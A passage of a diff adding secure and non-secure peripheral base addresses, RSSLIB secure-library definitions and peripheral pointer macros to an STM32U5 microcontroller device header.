(AHB1PERIPH_BASE_S + 0x11400UL) +#define DCACHE2_BASE_S (AHB1PERIPH_BASE_S + 0x11800UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define GTZC_MPCBB5_BASE_S (AHB1PERIPH_BASE_S + 0x13800UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define GPIOJ_BASE_S (AHB2PERIPH_BASE_S + 0x02400UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_OTG_HS_BASE_S (AHB2PERIPH_BASE_S + 0x20000UL) +#define AES_BASE_S (AHB2PERIPH_BASE_S + 0xA0000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define SAES_BASE_S (AHB2PERIPH_BASE_S + 0xA0C00UL) +#define PKA_BASE_S (AHB2PERIPH_BASE_S + 0xA2000UL) +#define PKA_RAM_BASE_S (AHB2PERIPH_BASE_S + 0xA2400UL) +#define OTFDEC1_BASE_S (AHB2PERIPH_BASE_S + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_S (OTFDEC1_BASE_S + 0x20UL) +#define OTFDEC1_REGION2_BASE_S (OTFDEC1_BASE_S + 0x50UL) +#define OTFDEC1_REGION3_BASE_S (OTFDEC1_BASE_S + 0x80UL) +#define OTFDEC1_REGION4_BASE_S (OTFDEC1_BASE_S + 0xB0UL) +#define OTFDEC2_BASE_S (AHB2PERIPH_BASE_S + 0xA5400UL) +#define OTFDEC2_REGION1_BASE_S (OTFDEC2_BASE_S + 0x20UL) +#define OTFDEC2_REGION2_BASE_S (OTFDEC2_BASE_S + 0x50UL) +#define OTFDEC2_REGION3_BASE_S (OTFDEC2_BASE_S + 0x80UL) +#define OTFDEC2_REGION4_BASE_S (OTFDEC2_BASE_S + 0xB0UL) +#define OCTOSPIM_R_BASE_S (AHB2PERIPH_BASE_S + 0xA4000UL) /*!< OCTOSPIM control registers base address */ +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define DLYB_SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_S (AHB2PERIPH_BASE_S + 0xAF400UL) +#define FMC_R_BASE_S (AHB2PERIPH_BASE_S + 0xB0400UL) /*!< FMC control registers base address */ +#define HSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB3400UL) +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_S (AHB2PERIPH_BASE_S + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1300UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + +/* GFXMMU secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_S (0x34000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0xC00000UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + +/* USB OTG registers Base address */ +#define USB_OTG_GLOBAL_BASE (0x0000UL) +#define USB_OTG_DEVICE_BASE (0x0800UL) +#define USB_OTG_IN_ENDPOINT_BASE (0x0900UL) +#define USB_OTG_OUT_ENDPOINT_BASE (0x0B00UL) +#define USB_OTG_EP_REG_SIZE (0x0020UL) +#define USB_OTG_HOST_BASE (0x0400UL) +#define USB_OTG_HOST_PORT_BASE (0x0440UL) +#define USB_OTG_HOST_CHANNEL_BASE (0x0500UL) +#define USB_OTG_HOST_CHANNEL_SIZE (0x0020UL) +#define USB_OTG_PCGCCTL_BASE (0x0E00UL) +#define USB_OTG_FIFO_BASE (0x1000UL) +#define USB_OTG_FIFO_SIZE (0x1000UL) + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART2_NS ((USART_TypeDef *) USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *) USART6_BASE_NS) +#define I2C5_NS ((I2C_TypeDef *) I2C5_BASE_NS) +#define I2C6_NS ((I2C_TypeDef *) I2C6_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *) UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) +#define LTDC_NS ((LTDC_TypeDef *) LTDC_BASE_NS) +#define LTDC_Layer1_NS ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_NS) +#define LTDC_Layer2_NS ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_NS) +#define DSI_NS ((DSI_TypeDef *) DSI_BASE_NS) +#define REFBIAS_NS ((REFBIAS_TypeDef *) REFBIAS_BASE_NS) +#define DPHY_NS ((DPHY_TypeDef *) DPHY_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP2_NS ((OPAMP_TypeDef *) OPAMP2_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP2_NS ((COMP_TypeDef *) COMP2_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_SRAM5_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define DMA2D_NS ((DMA2D_TypeDef *) DMA2D_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define DCACHE2_NS ((DCACHE_TypeDef *) DCACHE2_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GTZC_MPCBB5_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_NS) +#define GFXMMU_NS ((GFXMMU_TypeDef *) GFXMMU_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define GPIOJ_NS ((GPIO_TypeDef *) GPIOJ_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_OTG_HS_NS ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_NS) +#define AES_NS ((AES_TypeDef *) AES_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SAES_NS ((AES_TypeDef *) SAES_BASE_NS) +#define PKA_NS ((PKA_TypeDef *) PKA_BASE_NS) +#define OTFDEC1_NS ((OTFDEC_TypeDef *) OTFDEC1_BASE_NS) +#define OTFDEC1_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_NS) +#define OTFDEC1_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_NS) +#define OTFDEC1_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_NS) +#define OTFDEC1_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_NS) +#define OTFDEC2_NS ((OTFDEC_TypeDef *) OTFDEC2_BASE_NS) +#define OTFDEC2_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION1_BASE_NS) +#define OTFDEC2_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION2_BASE_NS) +#define OTFDEC2_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION3_BASE_NS) +#define OTFDEC2_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION4_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define DLYB_OCTOSPI2_NS ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_NS) +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define OCTOSPIM_NS ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define OCTOSPI2_NS ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_NS) +#define HSPI1_NS ((HSPI_TypeDef *) HSPI1_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART2_S ((USART_TypeDef *) USART2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define USART6_S ((USART_TypeDef *) USART6_BASE_S) +#define I2C5_S ((I2C_TypeDef *) I2C5_BASE_S) +#define I2C6_S ((I2C_TypeDef *) I2C6_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *) UCPD1_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) +#define LTDC_S ((LTDC_TypeDef *) LTDC_BASE_S) +#define LTDC_Layer1_S ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_S) +#define LTDC_Layer2_S ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_S) +#define DSI_S ((DSI_TypeDef *) DSI_BASE_S) +#define REFBIAS_S ((REFBIAS_TypeDef *) REFBIAS_BASE_S) +#define DPHY_S ((DPHY_TypeDef *) DPHY_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP2_S ((OPAMP_TypeDef *) OPAMP2_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) +#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP2_S ((COMP_TypeDef *) COMP2_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) 